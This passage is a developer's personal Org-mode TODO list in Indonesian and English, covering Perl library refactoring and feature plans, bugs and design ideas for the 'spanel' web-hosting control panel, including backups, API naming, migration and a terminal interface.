HTML/web.\n** TODO [2014-05-06 Tue] convert Language::Expr from using Regexp::Grammars to Marpa\n** TODO [2014-05-06 Tue] convert Org::Parser from using regexp to Marpa\n** TODO [2014-05-06 Tue] convert Ledger::Parser from using regexp to Marpa\n** TODO [2014-05-02 Jum] fungsi gudangapi daftar libur indo jadi source data di gudangdata (bukan sebaliknya, karena lebih convenient dynamic/di kode specify liburannya)\n** BUG [2014-04-29 Sel] dsah: jsc: hasil compile error jika debug=1 [#C]\nada 'function() { ... }' lagi ngewrap 'function (data) { ... }' dan jadi syntax\nerror.\n** TODO [2014-04-27 Sun] dsah: use Sah-Schema-Sah untuk determine which prop contains another schema, so it can offer recursive normalization\n- agak ribet, karena clause2x yang mana aja tergantung dari tipenya.\n** TODO [2014-04-25 Jum] sah: specify date type (implemented already in dsah)\n** TODO [2014-04-20 Sun] perl: refactor perlmv & perlmp3tag\n- rename perlmv (bikin versi baru), mv-with-perl, cp-with-perl,\n  set-mp3-tag-with-perl\n- dan nanti aplikasi2x lain yang bisa dibuat adalah: set exif info di jpeg, set\n  comment di gif/bmp, set metadata di video files,\n- extract roles: SHARYANTO::Role::\n  + role app: provides app_name (utk jadi default penyimpanan config, i.e.\n    ~/appname.conf, ~/appname or ~/appname.d/, utk show help, process name,\n    etc).\n  + SHARYANTO::Role::Scriptlet? role untuk view, add/update, read, hapus\n    scriptlets\n  + role utk process arguments as files\n  + role utk common options: exclude, include, ...\n  + role utk dry run\n  + role utk undo rename or edit\n- ada versi dengan undo, ada versi tanpa undo\n- utk undoable edit mp3 tag, gak usah save mp3 files-nya, save original tag aja.\n** TODO [2014-04-20 Sun] dux: fungsi utk tabify dan untabify\n- ada opsi utk specify offset\n- ada opsi utk just replace tab with a number of spaces\n- log:\n  + [2014-04-28 Mon] btw, untuk apa ya?\n** TODO [2014-04-16 Wed] dsah-moreutils: supaya lebih proper is_simple harusnya memanfaatkan metadata Data::Sah::Type::*\ndi type specification Data::Sah::Type::* perlu ada keterangan scalar atau tidak.\n\ndemikian juga\n** TODO [2014-04-11 Fri] try to make fatpacked list-id-holidays\n** TODO [2014-04-11 Fri] peri2doc: refactor: common routines taruh di Perinci::To::Doc::Util\n- contoh rutin: utk mengubah schema jadi \"int\", atau \"int (default: 0)\", utk\nmengubah nama argumen ke getopt::long style, utk format (wrap + trim)\ndescription.\n\n- yang perlu dibuat:\n  + (BELUM) generate POD utk cli no subcommand (utk diembed ke source)\n  + (BELUM) generate POD utk cli with subcommands (utk diembed ke source)\n  + generate POD utk module (utk diembed ke source)\n  + generate text help utk Riap package (utk pelengkap aja sih)\n  + generate text help utk Riap function (utk pelengkap aja sih)\n  + generate cli usage utk Riap function (utk dipake di cmd --help)\n    - (BELUM) opsi utk exclude showing some options or aliases (utk dipake di\n      dux, di mana --in and --out gak usah ditampilkan).\n  + generate cli usage utk Riap function (utk dipake di cmd --help --verbose)\n  + (BELUM) generate HTML cantik utk api documentation (utk dipake di proyek gudangapi)\n    + ada form utk nyoba\n    + bisa dicollapse\n  + (BELUM, IDEA) generate org documentation utk Riap function\n    + ingin dapet collapsing ability-nya aja sih\n  + (BELUM, IDEA) generate org documentation utk Riap package\n    + ingin dapet collapsing ability-nya aja sih\n  + (BELUM, IDEA) generate org documentation utk seluruh Riap tree/rekursif\n    + ingin dapet collapsing ability-nya aja sih\n- rutin2x dan fitur2xnya:\n** TODO [2014-04-10 Thu] kenapa dfpc ngeload yaml juga selain ansitable, padahal utk yaml aja\n** TODO [2014-04-10 Thu] selain pake yaml::xs, alternative pake pp module\n** TODO [2014-04-10 Thu] tambahkan faq di ffp: json?\n** TODO [2014-08-22 Fri] continue migrating Lang::Expr to Marpa\n- 2 bulan lalu sempet ngerjain, maybe udah 60-80% untuk grammarnya, tapi\n  actions-nya belum.\n- gw pending karena rada lama ngerjainnya, waktu itu sekalian sambil belajar\n  marpa, dan gw rada males karena ternyata startup overhead marpa lumayan gede,\n  mencapai 0.1s, lebih dari Regexp::Grammars.\n- dan karena belum benar2x dibutuhkan utk project (paling sekarang utk\n  Config::IOD dan Data::Sah), gw pending dulu aja sampe nanti dibutuhkan\n* proj/php [0/1]\n** WISHLIST [2014-03-29 Sab] Phinci: add option debug=>1 (hidupkan curl verbose)\n** TODO [2014-05-30 Fri] sh-functions: push ke browser history kalau user klik Next, Prev etc via ajax\n* proj/self-improvement [0/0]\n** TODO [2015-03-24 Tue] create to don't list\ne.g. don't check HN/reddit more than X times a day, ...\n** TODO [2015-03-24 Tue] set S.M.A.R.T. goals (specific, measurable, attainable, relevant, timely)\n- and break the goals down into realistic, high impact tasks.\n** TODO [2014-08-27 Wed] think and muse on stuffs more. Practise critical n analytixal thinking. Instead of reading all the time.\n** TODO [2014-12-03 Wed] q: life improvmnt with small commitment/cost (low hanging fruits)\nwe need/prefer to do the least amount of work to get the most amount of results.\nwhat are some of the best way/low hanging fruits first?\n** TODO [2013-12-06 Jum] langlearn: latihan baca at 90 derajat, 180, 270, miring, baguskah?\n- gw pikir, utk membantu lebih mengenali huruf kanji misalnya\n* proj/social [0/0]\n** TODO [2012-12-27 Thu] nanti bikin perusahaan/PT/yayasan untuk menyalurkan sumbangan, for tax benefits\n\n* proj/spanel [2/62]\n** lihat api cpanel sebagai perbandingan, tulis review\n** lihat api plesk sebagai perbandingan, tulis review\n** TODO spanel: update wordpress 3.6.\n** IDEA spanel: [2013-08-12 Mon] buat cara yang lebih clean untuk shortcut notation. maybe via some lookup or import.\na better shortcut mechanism. i don't want to maintain a separate saas::, sa::,\nsaax::, saar::... but i also don't want to call everything by its full name,\nit's too long and tring (spanel::api::account::shared::...). but i don't want to\nexport stuffs (or do i?). and i don't want to be too weird and un-plain-perl,\nlike ( use_spanel_api 'account::shared::mysql', and\ncall_api('mysql.list_mysql_dbs')), or do i?\n\nUPDATE [2013-08-20 Tue]: penting nih utk dilakukan, karena dengan saas/saax gitu\ngak bisa 'require ...' di dalam lexical scope, perlu 'use ...', padahal gw mulai\nterbiasa dengan require di inner scopes, utk mengirit startup time. sementara gw\nganti dulu jadi 'use ' semua, tapi gw pengen optimize lagi nanti. ref:\n[550eab1].\n\nUPDATE [2013-08-21 Wed]: cukup pake exporter aja gitu? Perinci::Exporter biar\ngampang (export semua public function yg punya \$SPEC{...}), tapi tanpa wrapping.\nTESTED on saas::mail.\n** TODO review spanel2 repo sejak split dengan spanel13, masukkan kembali perubahan2x ke dalam patch/todo/apply\n** TODO mulai componentize spanel13\n** TODO [2013-08-20 Tue] refactor: reduce startup time, ganti use jadi inner requires  :spanel:\n** BUG [2013-08-07 Wed] spanel: ada yg aneh, kalau kita -Ilib/perl/cpan, kadang2x 'use 5.010' gak ngefek, state variables jadi unknown\n- gw belum bisa produce a reproducible minimum sample.\n** IDEA [2013-10-31 Kam] spanel: insert license checking routine via Inline::Lua (+JIT) or Inline::C\n** WISHLIST [2013-12-20 Fri] data migrasi kalo bisa dimanage dan dirotate otomatis [#C]\n- kalo di mwn, daripada tersebar di /home/s1*, pada ga diurus juga tau2 ntar pas\n  udah mau penuh baru cari2x space. walaupun jika adminnya half-sane sih\n  harusnya tau cara ngosonginnya.\n** TODO [2015-03-13 Fri] penghapus email otomatis juga bisa menghapus email di squirrelmail\n- kalo gak salah masuk ke database sqlite?\n\n- ref:\n\n: (03/13/2015 11:18:46 AM) pianmwn: maaf koh tanya, utk keterangan ini \"Penghapus email otomatis (saat ini hanya berlaku di webmail Squirrelmail dan tidak di RoundCube)\"\n: (11:19:13 AM) pianmwn: apakah artinya ini email tidak dapat terhapus jika kita aktif/sering mengggunakan roundcube ?\n: (11:19:43 AM) pianmwn: dan bagaimana jika kita bergantian, misalnya hari ini membuka pake squirellmail dan besok pake roundcube, apakah email tetap ada di roundcube ?\n: (11:20:42 AM) stevenharyantomwn: ada contoh akun yang pakai roundcube ga?\n: (11:21:04 AM) stevenharyantomwn: gw lupa roundcube itu menyimpan emailnya ke database sqlite atau tetap di maildir\n: (11:21:34 AM) stevenharyantomwn: kayaknya kalo gak salah, kalo kita ngakses email pake roundcube, emailnya dibaca lewat IMAP dan dihapus dari maildir, dimasukkan ke database sqlite\n: (11:21:49 AM) stevenharyantomwn: saat ini email yg di database belum dicek/dihapus\n: (11:22:01 AM) stevenharyantomwn: mungkin nanti bisa sekalian dihapusin kali ya\n: (11:22:27 AM) pianmwn: oh bgitu ic. iya kl di sqlitenya dicek masih ada bisa dihapusin aja kali ya biar sinkron sama2 terhapus\n: (11:27:31 AM) stevenharyantomwn: iya, dimasukin todo list dulu\n: (11:27:35 AM) stevenharyantomwn: gw masukin todo list\n** WISHLIST [2014-03-29 Sab] create fungsi s2a, a2s, ...\nnamanya masih bingung apakah mau s2a/s2w dsb atau lebih panjang site2www atau yg\ngak pake x2y (gw pernah nyatet deh, mis: owner, owner-of-site owner-of-domain, ...\n\nperlu dilist dulu semua fungsi konversi yang mau kita bikin. bagusnya sih\nkonversi pake x2y aja.\n\nliat juga di cpanel pake apa?\n\n: spanel site2acc example.com ; # -> u1234\n: spanel acc2home u1234       ; # -> /home/u1234\n: spanel site2www example.com ; # -> /u/u1234/sites/example.com/www\n: spanel site2ssl example.com ; # -> /u/u1234/sites/example.com/ssl\n\n- [2014-06-20 Fri] use case: sebagai admin, gw pengen quickly cd to home of a\n  user to start investigating. biasanya gw gak tau usernamenya, cuma tau\n  domainnya aja. nama masih belum fix (go-home? be-user? be-account?\n  become-account?).\n\n  : root\@host:/some/where# spanel go2home somedomain.com; # bisa autocomplete\n  : u123\@host:/u/u123/home% _\n\n  gw juga kadang ingin cd tapi sebagai root.\n** WISHLIST [2014-03-29 Sab] hook ganti ip: regenerate apid.pem\n** WISHLIST [2014-03-29 Sab] ftp access untuk satu subdirektori (terutama di bawah docrot)\n- ini sering banget dan common case, baru2x ini jgua gw ngalamin, gw pengen\n  ngasih akses ke webdev/webdesigner seperti whisnu utk ngupload2x ke direktori\n  /webbuilder di masterkey.masterweb.com, nyuruh dia belajar git dan commit jauh\n  lebih lama. apalagi kalo web designer.\n- apakah fungsi ini ada di cpanel?\n- user unixnya sama aja tentunya, pake virtual user fitur ftpd, nanti\n  kebedainnya di ftpd log.\n** WISHLIST [2014-03-29 Sab] spanel-setup: opsi utk remove (apt-get remove) daemon2x\n- by defaultnya gak, karena mis gw pasang proftpd sementara di server masterkey\n  (karena kasus pengen ngasih akses ftp sementara), gw gak ingin ftp daemon ini\n  diremove sama spanel saat upgrade spanel.\n** WISHLIST [2014-03-29 Sab] fungsi api: allow-ftp-access? (hanya shortcut/simplification dari set-account-setting)\nmisalnya gw pengen menutup akses ftp dari semua akun hosting:\n: for u in `spanel list-accounts`; do\n:   spanel disallow-ftp-access \$u\n: done\n** IDEA [2014-03-29 Sab] 'spanel upgrade' sebagai alias manggil 'upgrade-spanel'?\n** TODO [2014-01-16 Thu] expirekan web interface jika license expired\n- sementara dulu doang, ide saat hari senin jimmy nge-whatsapp. asal merangsang\n  orang untuk perpanjang license aja.\n- pake php encoded code.\n** BUG [2013-11-19 Sel] migrasi tahap 1, crontab isinya 0 bytes?\n** TODO [2013-11-19 Sel] migrasi: postgres db belum dimigrasi\n** TODO [2013-08-07 Wed] rename-api\n- jika fungsi berkaitan dengan satu entity, maka atribut cukup: id/name, length,\n  etc. ini agar konsisten dengan perisgen-acctbl.\n- terbaru [2013-08-07 Wed]: setiap entity perlu punya unique 1 word, ini jadi\n  gampang dijadikan nama argumen.\n- penggunaan quantifier *all* perlu diperjelas, mis: list-all-mail-accounts\n  apakah ini list mail accounts di semua site utk 1 akun, atau semua site semua\n  akun, atau harus bisa semuanya? atau semuanya masuk ke list-mail-accounts? gw\n  cenderung yang terakhir.\n- kalau gitu liat semua fungsi list-all-* dan buang/merge ke dalam list-*.\n** TODO [2013-09-06 Fri] tab completion for entities\n- kita bisa bikin completion yang lebih generik (ga harus di tiap arg) karena\n  kita udah menandai dengan x.schema.entity. contoh, fungsi: delete_account\n  punya argumen 'name' yang kita tau (dari ~api-entities.yaml~) adalah id\n  argument untuk entity ~shacc~. kita bisa panggil fungsi argument completion\n  umum mis: complete_arg_value yang dapat input (function => 'delete_account',\n  module => 'spanel::account::shared::modify', entity=>'shacc') yang nanti dapat\n  memanggil list_acounts\n** TODO [2013-08-07 Wed] 2co plesk apis\n** TODO [2013-08-07 Wed] 2co cpanel apis\n** TODO [2013-08-07 Wed] api utk verify backup\n- fungsi API yang belum saat ini adalah fungsi utk mengecek apakah ada user\n  (yang created <7 hari lalu) yang belum ada backupnya.\n- sekaligus cek apakah /backup mounted, space available, bisa ditulisi?\n** IDEA [2013-08-07 Wed] buang 'spanel api XXX', semua jadi command atau 'spanel MODULE FUNC'\n- i tend to like it. gak ada lagi kata 'api' karena semua adalah api.\n- contoh:\n: % spanel mysql\n: This is mysql API module. Available functions:\n:   - list-mysql-dbs (...)\n:   - list-mysql-users (...)\n:\n: To get help on a function:\n:   % spanel mysql list-mysql-dbs --help\n** IDEA [2013-08-07 Wed] utk command2x yang ambigu, beri hint\n- contoh:\n: % spanel list-mysql-dbs\n: There are multiple functions called 'list-mysql-dbs':\n:   - spanel mysql list-mysql-dbs\n:   - spanel account.shared.mysql list-mysql-dbs\n- status = 300 (multiple choices)\n** TODO [2013-09-05 Thu] use periai's {allow,deny}_paths for security\n** TODO [2014-04-04 Fri] apid: apid-error.log belum dirotate, berpotensi bikin penuh\n** BUG [2014-04-04 Fri] proses instalasi spanel: saat sebelum merge arch/, XS module belum tersedia, termasuk saat spanel-install [#C]\n- contoh: Data::Clone dipake di saas::query, dan saas::query dipake terus sampe\n  Spanel::Utils dan spanel-install.\n- solusi sementara, gw ganti Data::Clone dengan Storable dulu (core module).\n** TODO [2014-04-03 Thu] log2x penting seperti pembuatan dan penghapusan (akun), masuk lagi ke log penting supaya gak terotate dalam waktu singkat\n** TODO [2014-04-07 Mon] produce (ulang) spanel-install\n- sekarang bisa pake skrip fatten gw (dengan menambah some --use)\n** TODO [2014-03-29 Sab] apid: pisahkan log riap, jangan ke apid-error.log\n** TODO [2014-03-29 Sab] refactor: buat result/table metadata utk semua fungsi list_*\n** TODO [2014-03-29 Sab] refactor penamaan argumen dan field tabel  :consistency:\n- UPDATE: kayaknya prinsipnya adalah menghindari ambiguity, short, dan\n  self-descriptive. rule pake name/id itu lebih kurang cocok kecuali di database\n  table aja.\n- untuk PK menggunakan name/id, bukan nama entitynya (mis: list_accounts itu menggunakan --name ...\n- tapi jika merujuk ke entiti lain, gunakan nama entitinya.\n- tapi sediakan 'account' juga utk convenience dan backward compat, baik di\n  cmdline (pake cmdline_aliases, tapi di fungsi gimana, harus juga? atau kita\n  ingin tertibkan?) dan juga di result table:\n: .-------------------------------------------\n: | account   name    plan       blah\n: |\n: | andi      andi    BISNIS B   ,,,\n: | budi      budi    BISNIS A   ,,,\n- contoh lain di account.shared.mysql, gunakan account (merujuk ke shared\n  hosting), db (merujuk ke nama db), dbuser (merujuk ke dbuser)\n** TODO [2014-03-29 Sab] refactor: nama fungsi list-all-ENTITY, list-account-ENTITY, list-ENTITY  :consistency:convenience:\njika kita execute spanel cli sebagai root, yang tersedia adalah:\n: list-account-sites   (list all sites of a single account)\n: list-all-sites       (list all sites on the server)\n: list-account-domains\n: list-all-domains\n: ...\njika kita execute spanel sebagai salah satu account, yang tersedia adalah (for\nconvenience, karena umumnya tidak kita sediakan list-all-sites, dsb):\n: list-sites\n: list-domains\n: ...\nuntuk backward compat, nama fungsi lama juga tersedia tapi tidak dishow by\ndefault di spanel --subcommands.\n** WISHLIST [2014-03-29 Sab] standarkan format activity log\n- pake structured data, mis jika edit dns records, field2x yg changed (atau\n  removed/added).\n- biar bisa dianalyze juga pake skrip, semuanya structured aja.\n- nanti tinggal ditampilin secara human friendly di web interface.\n** IDEA [2014-03-29 Sab] saat ini apid tidak melakukan preloading lagi seperti spanel daemon yg dulu\n- dulu gw preload yg common seperti account.shared.file (file manager) dll,\n  untuk mengirit memori karena shared\n- perlukah? nanti liat memori usage dulu aja\n** WISHLIST [2014-03-29 Sab] graph & monitor memory usage (+detil perl seperti jumlah object, scalar/arrayref/hashref, etc) utk spanel daemons\n- untuk keep lean as possible\n** TODO [2014-03-29 Sab] api func: create workflow task          :automation:\n- contoh, gw ingin bisa dari command line do something like this:\n: clamscan /u/\$user/sites; if detected; then send-ticket-to-client-and-automatically-suspend-client-if-ticket-not-responded-within-4-hours\n- jadi, perintah tersebut akan send tiket ke masterkey sekaligus setup\n  background job untuk mengetes apakah tiket yg udah dicreate tersebut udah\n  direspon (opt: harus sama klien), jika tidak maka suspend.\n- bisa membuka segala kemungkinan lain\n- hati2x jangan terlalu meningkatkan kompleksitas produk\n** TODO [2014-03-29 Sab] optimize utk instalasi dari vm [diinstal di vm image]\n- gak perlu license key dulu pas download, nanti aja pas udah mau running\n** TODO [2014-03-28 Fri] www: tambah keterangan login di log, mis: \"(login from http://masterkey.masterweb.com using login token, note=admin staff stevenharyanto)\"\n** TODO [2014-03-27 Thu] refactor: ganti nama get-dns-zone-files supaya lebih spesifik bahwa itu utk cpanel\n** TODO [2014-03-20 Thu] refactor: buang/ganti pemakaian modul2 tua lainnya\n- SHARYANTO::YAML::Any\n** TODO [2014-03-20 Thu] refactor: replace Clone::Any with Data::Clone\n- lihat cpanratings review gw.\n** TODO [2014-03-07 Fri] pasang property di metadata fungsi2x yang memang harus berjalan tanpa multiple instance\n- contoh: saat create-account jangan berbarengan. atau bahkan saat\n  create-account gak bisa delete-account?\n- tapi user perlu bisa --force (atau --force-run? --ignore-mutiple-instance\n** TODO [2014-03-07 Fri] instalasi: buatkan user admin/support (non-root)?\n** WISHLIST [2014-03-06 Thu] event yang dilakukan setelah instal ulang server\n- biasanya modul perl yang belum keinstal bikin cron jobs fail. contohnya udah\n  lebih dari sekali tuh di hosting.localdomain kantor, skrip macam\n  post-rss-to-phpbb2 fail karena XML::RSSLite belum keinstal. dan banyak lagi.\n- jadi, kalo terdeteksi sistem diinstal ulang (bisa dari ssh host key\n  contohnya?) maka lakukan perintah tertentu.\n** IDEA [2014-02-21 Fri] pasangi fungsi2x yang berpotensi lama dengan Progress::Any\n- tentukan penamaan tasknya\n- pasang signal handler (mis: SIGUSR1) supaya user bisa lihat progress, walaupun\n  kebetulan lupa start dengan --debug atau --trace. lihat repo\n  test/kill-me-to-see-progress\n- ternyata trik ini udah lama dipake dd. makanya gw kok kayak inget...\n- ref: http://blogs.perl.org/users/steven_haryanto/2014/02/getting-a-progress-report-from-a-running-program.html\n** WISHLIST [2014-02-20 Thu] monitor & tune TIME_WAIT processes\n- bg: masterkey tiap jam 13-18 selalu sering kepenuhan apachenya. pas gw coba\n  netstat, banyaknya koneksi2x TIME_WAIT. ini adalah koneksi yang udah kelar\n  tapi bleum dicleanup, or something.\n- net.ipv4.tcp_fin_timeout=20 di /etc/sysctl.conf\n- echo 20 > /proc/sys/net/ipv4/tcp_fin_timeout\n- ref: http://www.cyberciti.biz/faq/linux-command-forcibly-close-socket-ports-in-time_wait-state/\n- things are not that simple: http://www.webhostingtalk.com/showthread.php?t=682582\n** WISHLIST [2014-02-17 Mon] something like kioslave or gnome vfs\n- untuk data user di volume backup, kita bisa menggunakan something like:\n\n  : spfile://ACCOUNT\@localhost/path/subpath\n  : spfile://ACCOUNT\@HOSTNAME/path/subpath\n\n- untuk data di volume backup:\n\n  : spanel\n- nanti bilamana perlu, kita bisa provide kioslave dan gnome vfs juga.\n- or perhaps fuse juga?\n** WISHLIST [2014-02-17 Mon] use sieve to let users create/manage their email filters\n- lihat: RFC 5228, Net::Sieve, Net::Sieve::Script\n** TODO [2014-02-13 Thu] integrate api spamexperts\nhttps://my.spamexperts.com/kb/440/Integrating-SpamExperts-into-your-own-software.html\n** FIXED [2014-02-12 Wed] smtpd: kirim email ke alamat yang sama dengan alamat bcc menghasilkan looping (timeout dari server) [reported by heru, endrik]\n- duration :: +01:12 # terlalu lama deh, setup dan masuk konteks-nya yang lama\n- log:\n  + [2014-02-12 Wed] fixed, konyol. harusnya 'next' jadi 'return'. kayaknya gw\n    kena bug kayak gini berkali2x deh?\n** WISHLIST [2014-02-12 Wed] api func: send email sebagai akun\n- maybe something like:\n: # spanel send-email --as ACCOUNT --from ... --to ... --subject ... --attach ...\n** TODO [2014-02-12 Wed] remote backup ngegantung lama prosesnya, perlu dikasih timeout/dikill\n- [2014-02-13 Thu] Pak Steve hehe bisa gak remote backupnya ditambah opsi untuk\n  ps aux | grep remote | awk '{print \$2}' | xargs sudo kill -KILL sebelum\n  melakukan backup atau pengecekan pada bagian \"Another instance already\n  running, exiting\" karena hampir semua server cpanel selalu pesanya : Another\n  instance already running, exiting jadi di skiip proses backupnya padahal rsync\n  sudah old banget datanya di remotebackup saya mau tambahin cron untuk kill\n  tapi kayanya kurang praktis yah hehe banyak banget servernya, ini magnesium\n  aja baru selesai dari kemarin\n** FIXED [2014-02-06 Thu] modul whmcs: butuh yaml.so (yaml_emit()), seharusnya jangan aja karena kadang tidak tersedia\n- dan tidak ada pesan error, bangsatnya php teh. ngeblank aja jadinya return\n  dari si module.\n- [2014-02-07 Fri] sementara gw kasih error message dulu di awal skrip\n** TODO [2014-02-06 Thu] policy: harus ada MAILTO di crontab: ganti jangan jadi fatal?\n** IDEA [2014-02-01 Sat] \"spanel summary\" (semacam dashboard utk cli)\n- summary utk semua server (jika root)\n- summary utk akun (jika user yg execute)\n- perintah aslinya mungkin \"account-summary\", \"server-summary\".\n** TODO [2014-01-21 Tue] provide many API's to 3rd party services\n- kenapa whmcs sukses? karena banyak interface ke berbagai registrar, ssl\n  provider, control panel, payment/billing, dsb.\n- API ke backup solution provider, AWS/amazon, dropbox, dll dll.\n- sediakan API access to existing API, memberi konsistensi bagi user.\n- permudah developer yang ingin bikin API untuk spanel.\n** IDEA [2014-01-21 Tue] statistik pemakaian {commandline,web} user & admin\n- perintah apa yang paling sering\n- perintah apa yang paling sering menghasilkan kesalhan (gak 200)\n- menu item apa yang paling sering diklik (nanti bisa dinaikkan dalam suggestion\n  atau naik di atas menu biar lebih prominent).\n** IDEA [2014-01-10 Jum] config: merging of users limits & features\n- pertama dari plans.ini, lalu dari limits.ini di /u/USER/sysetc\n- contoh: config path /account/<acct>/limits/mysql_databases\n- kalau migrasi dari perusahaan hosting lain, opsi utk disregard limits.ini atau\n  hanya ikuti limit yag lebih kecil?\n** TODO [2014-01-10 Jum] make config plan hosting flat, supaya mudah merging di plans.ini nanti [#A]\ncontoh, it's easier to merge this:\n\n [plan a]\n disk_space=400\n mysql_databases=10\n mysql_disk_space=100\n email_forwarding_accounts=10\n email_mailbox_accounts=10\n email_accounts=10\n\n [plan b]\n ;!merge \"plan a\"\n disk_space=2000\n mysql_databases=-1\n email_forwarding_accounts=-1\n email_mailbox_accounts=-1\n email_accounts=-1\n\nthan this:\n\n [\"plan a\"]\n disk_space=400\n\n [\"plan a\" \"databases\" \"mysql\"]\n databases=10\n disk_space=100\n\n [\"plan a\" \"email\"]\n forwarding_accounts=10\n mailbox_accounts=10\n accounts=10\n\n [\"plan b\"]\n ;!merge \"plan a\"\n disk_space=2000\n\n [\"plan b\" \"databases\" \"mysql\"]\n ;!merge \"plan a\" \"databases\" \"mysql\"\n databases=-1\n\n [\"plan b\" \"email\"]\n ;!merge \"plan a\" \"email\"\n forwarding_accounts=-1\n mailbox_accounts=-1\n accounts=-1\n** WISHLIST [2013-12-28 Sab] web interface utk manage proses fcgi\n** BUG [2013-12-20 Fri] web: akun yang kesuspend masih bisa masuk utk kelola email?\n** BUG [2013-12-20 Fri] api: akun yang kesuspend pesan error list_accounts agak menyesatkan\n: Can't list accounts: 500 - Can't parse passwd.cdb in\n: /u/k7037253/sites/pila-co.com/qmail: 404 - Can't find file\n: /u/k7037253/sites/pila-co.com/qmail/passwd.cdb\n** TODO [2013-12-18 Rab] ganti rrdtool dengan something more flexible and scalable (2co graphite)\n** TODO [2013-12-18 Rab] statdump: store parsed result as well as raw data?\n** WISHLIST [2013-12-18 Rab] statdump juga punya history levels seperti backup (daily, weekly, monthly)\n** WISHLIST [2013-12-06 Jum] jangan wajibkan ada /backup?\n- untuk vps itu kurang cocok pake /backup\n- lalu pastikan juga kita ngecek beda device, kalo gak percuma\n- intinya lebih fleksibel dikit, jangan instalasi abort gara2x gak ada /backup,\n  kita bisa warn/annoy user belakangan.\n** WISHLIST [2013-12-04 Wed] seperti dokter dalam menangani masalah\n- contoh, apache sering mandeg di 100% aja.\n- dipantau dulu sebelumnya dengan ps auxwf (ini udah direkam ke statdump) dan\n  juga hasil extended server-status (statdump juga nanti)\n- selama belum ketauan penyebabnya apa, atau ip spesifik, bisa dicoba melakukan\n  restart secara berkala. ini persis seperti dokter yang menurunkan demam atau\n  menghilangkan gejala lain. (note: log setiap kali melakukan restart).\n- tapi selain itu dicari juga penyebabnya, misalnya blok IP klien tertentu utk\n  diblokir, atau aplikasi web atau akun atau URL tertentu yang bikin masalah dan\n  bisa diblokir.\n** WISHLIST [2013-12-04 Wed] migrasi: kalo ada cron atas nama root yg related dg akun tsb, bisa ikut dimigrasi\n** WISHLIST [2013-12-04 Wed] migrasi: ada setting paranoid untuk cek, dg asumsi akun tersebut datang dari untrusted sources\n- misalnya perpindahan akun antarperusahaan hosting\n** TODO [2013-11-03 Min] curses interface\n- alternatif TUI utk dialog(1)\n- support autocomplete, tabbed interface, other more-advanced features\n** TODO [2013-11-03 Min] dialog interface\n- simple, one menu level or form per screen\n- gak bisa autocomplete\n** WISHLIST [2013-11-13 Wed] get-dns-zone from server hosting berjalan paralel\n- lebih keren lagi kalo ada TUI/GUI yang memperlihatkan progres server\n- dan kita bisa cancel/stop per server\n** WISHLIST [2013-11-13 Wed] update zone ke dns servers (saat create akun dsb) juga bisa paralel\n- jadi lebih cepat, dan kalo ada server dns yang lagi ngaco/timeout, bisa\n  dipending jadi scheduled job, sementara dns server yang lainnya sudah\n  terupdate.\n** IDEA [2013-11-01 Jum] bikin app description metadata\n- include: description struktur menu/tree (at the simplest, a mapping of menu\n  item -> form).\n- bisa dipake untuk aplikasi web dan TUI.\n- biar terlihat konsisten dan well-designed app-nya.\n- jangan lupa tetap bisa incremental search seperti di cpanel/chrome (tiap\n  setting, tiap page/card, tiap menu item). jadi kalo nyari \"setting php\"\n  tinggal ketik php, ...\n** IDEA [2013-11-01 Jum] bikin TUI\n- kalo pengen yang gampang, pake dialog(1) (atau perl bindingnya) aja, memang\n  jadi gak ada pull-down menu dsb, tapi UI-nya lebih simpel. soalnya lagi, di\n  perl pada ada keterbatasan dengan Curses::UI.\n- sebuah alternatif adalah pake notebook tab (seperti di Stackato::Stackrad).\n  tabs: Accounts, Files, Mail, Database, Tools (other tools), API (a special tab\n  berisi API explorer), logs (special tab to see debug logs dan juga mungkin log\n  akun). tapi gw gak yakin Curses::UI bakal baleg nih dan ga buggy untuk\n  menghandle tabbed interface (di mana 1 tab isinya nanti ada banyak widget\n  juga).\n- UPDATE [2013-11-06 Wed] i will be using Tickit. paling menjanjikan kayaknya.\n  support window resize events lagi.\n** IDEA [2013-10-31 Kam] allow users to extend using Lua scripts?\n** TODO [2013-10-27 Min] spanel upgrade = manggil upgrade-spanel (biar *semua* spanel commnd lewat 'spanel')\n** TODO [2013-10-27 Min] spanel install = manggil install-spanel (biar *semua* spanel commnd lewat 'spanel')\n** TODO [2013-10-27 Min] spanel uninstall = manggil uninstall-spanel (biar *semua* spanel commnd lewat 'spanel')\n** TODO [2013-10-24 Thu] secara organized put log statements to log important/debugging stuffs\n- mis: di setiap server request awal log client info, env vars, dsb.\n** TODO [2013-10-24 Thu] api: pisahkan fungsi ganti password user mysql dan ganti setting lainnya dari user mysql\n- pada dasarnya yang password perlu dipisah, seperti set_account_password, dsb.\n- berlakukan hal yang sama untuk database postgres, mail user, dsb\n** WISHLIST [2013-10-21 Sen] upgrade-spanel bisa milih hanya lakukan otomatis jika include security fix (dengan urgency tertentu)\n- kita harus mark di Changes mis: [SECURITY, URGENCY=...]\n- contohnya dns server atau server2x lain harus benar2x stable, jangan upgrade\n  otomatis kecuali jika ada critical security fix.\n- izinkan parameter yang lebih kompleks utk update.\n** TODO [2013-10-21 Sen] update license text spanel\n- ada 2: komersil dan open source\n- yg open source: contributions harus menyerahkan all rights of distribution\n** TODO [2013-10-20 Min] arsitektur: apid ada yang berjalan sebagai root, ada yg sebagai user biasa khusus spanel-apid yg gak punya hak apa2x (tapi bisa switch ke user)\n- we're applying the same restriction (deliberate mistrust) to our own\n  components.\n** TODO [2013-10-20 Min] setting access spanel 3rd party component: jalan sbg root? bisa switch ke user? atau command apa yg ingin sudo sbg root/user?\n** TODO [2013-10-20 Min] signing untuk 3rd party\n** TODO [2013-10-20 Min] setting default spanel untuk instal components\n- jangan izinkan 3rd party component sama sekali\n- izinkan hanya 3rd party component yg signed (nanti kita bisa charge kalo\n  spanel udah *bener2x populer*)\n- jangan izinkan (3rd party) component yg ingin jalan sebagai root\n- jangan izinkan (3rd party) component yg ingin bisa switch ke user\n** TODO [2013-10-20 Min] fungsi api: nonaktifkan/hapus semua komponen {3rd party, ...}\n** WISHLIST [2013-10-18 Jum] remote backup: our own rsync.net-based service\n- xdelta/rdiff atau list of new/modified files | gpg --encrypt > SERVER\n- or list of new/modified files | tar | gpg --encrypt > SERVER\n- or\n- kalo perlu, simpan juga list of filenames encrypted di server, lalu bisa kita\n  download ke sisi klien, agar nanti bisa dibrowse dan mungkin\n- atau pake encFS\n- pokoknya tujuannya ingn encrypted on the server, incremental/efficient\n  bw-wise, dan bisa restore per file juga pake interface spanel kalo bisa.\n** WISHLIST [2013-10-18 Jum] remote backup: tarsnap backend\n- i'm not sure how well it would work though\n** WISHLIST [2013-10-18 Jum] remote backup: pilihan amazon 